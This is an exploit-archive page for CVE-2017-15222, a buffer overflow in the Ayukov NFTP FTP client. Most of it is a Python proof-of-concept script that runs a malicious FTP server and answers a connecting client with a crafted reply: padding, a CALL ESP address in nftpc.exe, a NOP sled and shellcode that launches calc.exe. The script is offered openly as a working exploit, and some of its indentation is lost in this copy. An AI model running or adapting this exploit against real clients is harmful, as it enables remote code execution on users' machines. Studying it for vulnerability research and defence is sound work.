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Ayukov NFTP FTP Client Buffer Overflow

Ayukov NFTP FTP Client Buffer Overflow
Posted Oct 25, 2017
Authored by Berk Cem Goksel

Ayukov NFTP FTP Client versions prior to 2.0 suffer from a buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2017-15222
MD5 | 03910c936abe35c794bca6b0a841495e

Ayukov NFTP FTP Client Buffer Overflow

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#!/usr/bin/env python
# coding: utf-8

############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.
####################################

# Exploit Title: Ayukov NFTP FTP Client - Buffer Overflow
# Date: 2017-10-21
# Exploit Author: Berk Cem GAPksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://ayukov.com/nftp/source-release.html
# Software Link: ftp://ftp.ayukov.com/pub/nftp/
# Version: v1.71, v1.72, v1.8, v2.0
# Tested on: Windows 10
# Category: Windows Remote Exploit
# CVE : CVE-2017-15222

import socket

IP = '127.0.0.1'
port = 21


#(exec calc.exe)
shellcode=(
"\xda\xc5\xbe\xda\xc6\x9a\xb6\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x33\x83\xc5\x04\x31\x75\x13\x03\xaf\xd5\x78\x43\xb3\x32\xf5"
"\xac\x4b\xc3\x66\x24\xae\xf2\xb4\x52\xbb\xa7\x08\x10\xe9\x4b"
"\xe2\x74\x19\xdf\x86\x50\x2e\x68\x2c\x87\x01\x69\x80\x07\xcd"
"\xa9\x82\xfb\x0f\xfe\x64\xc5\xc0\xf3\x65\x02\x3c\xfb\x34\xdb"
"\x4b\xae\xa8\x68\x09\x73\xc8\xbe\x06\xcb\xb2\xbb\xd8\xb8\x08"
"\xc5\x08\x10\x06\x8d\xb0\x1a\x40\x2e\xc1\xcf\x92\x12\x88\x64"
"\x60\xe0\x0b\xad\xb8\x09\x3a\x91\x17\x34\xf3\x1c\x69\x70\x33"
"\xff\x1c\x8a\x40\x82\x26\x49\x3b\x58\xa2\x4c\x9b\x2b\x14\xb5"
"\x1a\xff\xc3\x3e\x10\xb4\x80\x19\x34\x4b\x44\x12\x40\xc0\x6b"
"\xf5\xc1\x92\x4f\xd1\x8a\x41\xf1\x40\x76\x27\x0e\x92\xde\x98"
"\xaa\xd8\xcc\xcd\xcd\x82\x9a\x10\x5f\xb9\xe3\x13\x5f\xc2\x43"
"\x7c\x6e\x49\x0c\xfb\x6f\x98\x69\xf3\x25\x81\xdb\x9c\xe3\x53"
"\x5e\xc1\x13\x8e\x9c\xfc\x97\x3b\x5c\xfb\x88\x49\x59\x47\x0f"
"\xa1\x13\xd8\xfa\xc5\x80\xd9\x2e\xa6\x47\x4a\xb2\x07\xe2\xea"
"\x51\x58")

CALL_ESP = "\xdd\xfc\x40\x00" # call esp - nftpc.exe #0040FCDD
buff = "A" * 4116 + CALL_ESP + '\x90' * 16 + shellcode + "C" * (15000-4116-4-16-len(shellcode))
#Can call esp but the null byte terminates the string.

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((IP, port))
s.listen(20)
print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
conn, addr = s.accept()
conn.send('220 Welcome!' + '\r\n')
print conn.recv(1024)
conn.send('331 OK.\r\n')
print conn.recv(1024)
conn.send('230 OK.\r\n')
print conn.recv(1024)
conn.send(buff + '\r\n')
print conn.recv(1024)
conn.send('257' + '\r\n')


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